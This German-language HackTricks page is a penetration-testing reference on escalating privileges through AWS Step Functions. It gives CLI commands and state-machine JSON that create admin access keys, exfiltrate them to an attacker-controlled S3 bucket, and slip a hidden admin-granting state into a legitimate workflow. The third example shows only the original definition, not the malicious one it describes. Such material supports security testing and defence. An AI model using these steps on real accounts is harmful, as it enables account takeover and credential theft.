AWS - Step Functions Privesc

Unterstützen Sie HackTricks

Step Functions

Für weitere Informationen zu diesem AWS-Dienst, überprüfen Sie:

AWS - Step Functions Enum

Task-Ressourcen

Diese Privilegieneskalationstechniken erfordern die Nutzung einiger AWS Step Function-Ressourcen, um die gewünschten Privilegieneskalationsaktionen durchzuführen.

Um alle möglichen Aktionen zu überprüfen, können Sie zu Ihrem eigenen AWS-Konto gehen, die Aktion auswählen, die Sie verwenden möchten, und die verwendeten Parameter einsehen, wie in:

Oder Sie können auch zur API-AWS-Dokumentation gehen und die Dokumentation zu jeder Aktion überprüfen:

states:TestState & iam:PassRole

Ein Angreifer mit den Berechtigungen states:TestState & iam:PassRole kann jeden Zustand testen und jede IAM-Rolle an ihn übergeben, ohne eine vorhandene Zustandsmaschine zu erstellen oder zu aktualisieren, was unbefugten Zugriff auf andere AWS-Dienste mit den Berechtigungen der Rollen ermöglicht. Diese Berechtigungen können in Kombination zu umfangreichen unbefugten Aktionen führen, von der Manipulation von Workflows zur Datenänderung bis hin zu Datenlecks, Ressourcenmanipulation und Privilegieneskalation.

aws states test-state --definition <value> --role-arn <value> [--input <value>] [--inspection-level <value>] [--reveal-secrets | --no-reveal-secrets]

Die folgenden Beispiele zeigen, wie man einen Zustand testet, der einen Zugriffsschlüssel für den admin-Benutzer erstellt, indem diese Berechtigungen und eine permissive Rolle der AWS-Umgebung genutzt werden. Diese permissive Rolle sollte mit einer hochprivilegierten Richtlinie verknüpft sein (zum Beispiel arn:aws:iam::aws:policy/AdministratorAccess), die es dem Zustand ermöglicht, die Aktion iam:CreateAccessKey auszuführen:

  • stateDefinition.json:

{
"Type": "Task",
"Parameters": {
"UserName": "admin"
},
"Resource": "arn:aws:states:::aws-sdk:iam:createAccessKey",
"End": true
}
  • Befehl ausgeführt, um die Privilegieneskalation durchzuführen:

aws stepfunctions test-state --definition file://stateDefinition.json --role-arn arn:aws:iam::<account-id>:role/PermissiveRole

{
"output": "{
\"AccessKey\":{
\"AccessKeyId\":\"AKIA1A2B3C4D5E6F7G8H\",
\"CreateDate\":\"2024-07-09T16:59:11Z\",
\"SecretAccessKey\":\"1a2b3c4d5e6f7g8h9i0j1a2b3c4d5e6f7g8h9i0j1a2b3c4d5e6f7g8h9i0j\",
\"Status\":\"Active\",
\"UserName\":\"admin\"
}
}",
"status": "SUCCEEDED"
}

Potenzielle Auswirkungen: Unbefugte Ausführung und Manipulation von Workflows sowie Zugriff auf sensible Ressourcen, was zu erheblichen Sicherheitsverletzungen führen kann.

states:CreateStateMachine & iam:PassRole & (states:StartExecution | states:StartSyncExecution)

Ein Angreifer mit states:CreateStateMachine & iam:PassRole wäre in der Lage, eine Zustandsmaschine zu erstellen und ihr jede IAM-Rolle zuzuweisen, was unbefugten Zugriff auf andere AWS-Dienste mit den Berechtigungen der Rolle ermöglicht. Im Gegensatz zur vorherigen Privilegieneskalationstechnik (states:TestState & iam:PassRole) wird diese nicht von selbst ausgeführt; Sie benötigen auch die Berechtigungen states:StartExecution oder states:StartSyncExecution (states:StartSyncExecution ist nicht für Standard-Workflows verfügbar, nur für Ausdruckszustandsmaschinen) um eine Ausführung über die Zustandsmaschine zu starten.

# Create a state machine
aws states create-state-machine --name <value> --definition <value> --role-arn <value> [--type <STANDARD | EXPRESS>] [--logging-configuration <value>]\
[--tracing-configuration <enabled=true|false>] [--publish | --no-publish] [--version-description <value>]

# Start a state machine execution
aws states start-execution --state-machine-arn <value> [--name <value>] [--input <value>] [--trace-header <value>]

# Start a Synchronous Express state machine execution
aws states start-sync-execution --state-machine-arn <value> [--name <value>] [--input <value>] [--trace-header <value>]

Die folgenden Beispiele zeigen, wie man eine Zustandsmaschine erstellt, die einen Zugriffsschlüssel für den admin-Benutzer erstellt und diesen Zugriffsschlüssel in einen von einem Angreifer kontrollierten S3-Bucket exfiltriert, indem diese Berechtigungen und eine großzügige Rolle der AWS-Umgebung genutzt werden. Diese großzügige Rolle sollte mit einer hochprivilegierten Richtlinie verknüpft sein (zum Beispiel arn:aws:iam::aws:policy/AdministratorAccess), die es der Zustandsmaschine ermöglicht, die Aktionen iam:CreateAccessKey und s3:putObject auszuführen.

  • stateMachineDefinition.json:

{
"Comment": "Malicious state machine to create IAM access key and upload to S3",
"StartAt": "CreateAccessKey",
"States": {
"CreateAccessKey": {
"Type": "Task",
"Resource": "arn:aws:states:::aws-sdk:iam:createAccessKey",
"Parameters": {
"UserName": "admin"
},
"ResultPath": "$.AccessKeyResult",
"Next": "PrepareS3PutObject"
},
"PrepareS3PutObject": {
"Type": "Pass",
"Parameters": {
"Body.$": "$.AccessKeyResult.AccessKey",
"Bucket": "attacker-controlled-S3-bucket",
"Key": "AccessKey.json"
},
"ResultPath": "$.S3PutObjectParams",
"Next": "PutObject"
},
"PutObject": {
"Type": "Task",
"Resource": "arn:aws:states:::aws-sdk:s3:putObject",
"Parameters": {
"Body.$": "$.S3PutObjectParams.Body",
"Bucket.$": "$.S3PutObjectParams.Bucket",
"Key.$": "$.S3PutObjectParams.Key"
},
"End": true
}
}
}
  • Befehl ausgeführt, um die Zustandsmaschine zu erstellen:

aws stepfunctions create-state-machine --name MaliciousStateMachine --definition file://stateMachineDefinition.json --role-arn arn:aws:iam::123456789012:role/PermissiveRole
{
"stateMachineArn": "arn:aws:states:us-east-1:123456789012:stateMachine:MaliciousStateMachine",
"creationDate": "2024-07-09T20:29:35.381000+02:00"
}
  • Befehl ausgeführt, um eine Ausführung der zuvor erstellten Zustandsmaschine zu starten:

aws stepfunctions start-execution --state-machine-arn arn:aws:states:us-east-1:123456789012:stateMachine:MaliciousStateMachine
{
"executionArn": "arn:aws:states:us-east-1:123456789012:execution:MaliciousStateMachine:1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f",
"startDate": "2024-07-09T20:33:35.466000+02:00"
}

Der vom Angreifer kontrollierte S3-Bucket sollte Berechtigungen haben, um eine s3:PutObject-Aktion vom Opferkonto zu akzeptieren.

Potenzielle Auswirkungen: Unbefugte Ausführung und Manipulation von Workflows sowie Zugriff auf sensible Ressourcen, was zu erheblichen Sicherheitsverletzungen führen kann.

states:UpdateStateMachine & (nicht immer erforderlich) iam:PassRole

Ein Angreifer mit der Berechtigung states:UpdateStateMachine wäre in der Lage, die Definition einer Zustandsmaschine zu ändern und zusätzliche heimliche Zustände hinzuzufügen, die zu einer Privilegieneskalation führen könnten. Auf diese Weise wird, wenn ein legitimer Benutzer eine Ausführung der Zustandsmaschine startet, dieser neue bösartige heimliche Zustand ausgeführt und die Privilegieneskalation erfolgreich sein.

Je nachdem, wie permissiv die mit der Zustandsmaschine verbundene IAM-Rolle ist, würde ein Angreifer mit 2 Situationen konfrontiert werden:

  1. Permissive IAM-Rolle: Wenn die mit der Zustandsmaschine verbundene IAM-Rolle bereits permissiv ist (sie hat beispielsweise die arn:aws:iam::aws:policy/AdministratorAccess-Richtlinie angehängt), dann wäre die Berechtigung iam:PassRole nicht erforderlich, um Privilegien zu eskalieren, da es nicht notwendig wäre, auch die IAM-Rolle zu aktualisieren; die Definition der Zustandsmaschine wäre ausreichend.

  2. Nicht permissive IAM-Rolle: Im Gegensatz zum vorherigen Fall würde ein Angreifer hier auch die Berechtigung iam:PassRole benötigen, da es notwendig wäre, eine permissive IAM-Rolle mit der Zustandsmaschine zu verknüpfen, zusätzlich zur Änderung der Definition der Zustandsmaschine.

aws states update-state-machine --state-machine-arn <value> [--definition <value>] [--role-arn <value>] [--logging-configuration <value>] \
[--tracing-configuration <enabled=true|false>] [--publish | --no-publish] [--version-description <value>]

Die folgenden Beispiele zeigen, wie man eine legitime Zustandsmaschine aktualisiert, die nur eine HelloWorld Lambda-Funktion aufruft, um einen zusätzlichen Zustand hinzuzufügen, der den Benutzer unprivilegedUser zur administrator IAM-Gruppe hinzufügt. Auf diese Weise wird, wenn ein legitimer Benutzer eine Ausführung der aktualisierten Zustandsmaschine startet, dieser neue bösartige Stealth-Zustand ausgeführt und die Privilegieneskalation wird erfolgreich sein.

Wenn die Zustandsmaschine keine permissive IAM-Rolle zugeordnet hat, wäre auch die Berechtigung iam:PassRole erforderlich, um die IAM-Rolle zu aktualisieren, um eine permissive IAM-Rolle zuzuordnen (zum Beispiel eine mit der arn:aws:iam::aws:policy/AdministratorAccess-Richtlinie).

{
"Comment": "Hello world from Lambda state machine",
"StartAt": "Start PassState",
"States": {
"Start PassState": {
"Type": "Pass",
"Next": "LambdaInvoke"
},
"LambdaInvoke": {
"Type": "Task",
"Resource": "arn:aws:states:::lambda:invoke",
"Parameters": {
"FunctionName": "arn:aws:lambda:us-east-1:123456789012:function:HelloWorldLambda:$LATEST"
},
"Next": "End PassState"
},
"End PassState": {
"Type": "Pass",
"End": true
}
}
}
  • Befehl ausgeführt, um die legitime Zustandsmaschine zu aktualisieren:

aws stepfunctions update-state-machine --state-machine-arn arn:aws:states:us-east-1:123456789012:stateMachine:HelloWorldLambda --definition file://StateMachineUpdate.json
{
"updateDate": "2024-07-10T20:07:10.294000+02:00",
"revisionId": "1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f"
}

Potenzielle Auswirkungen: Unbefugte Ausführung und Manipulation von Workflows sowie Zugriff auf sensible Ressourcen, was zu erheblichen Sicherheitsverletzungen führen kann.

Unterstütze HackTricks

Last updated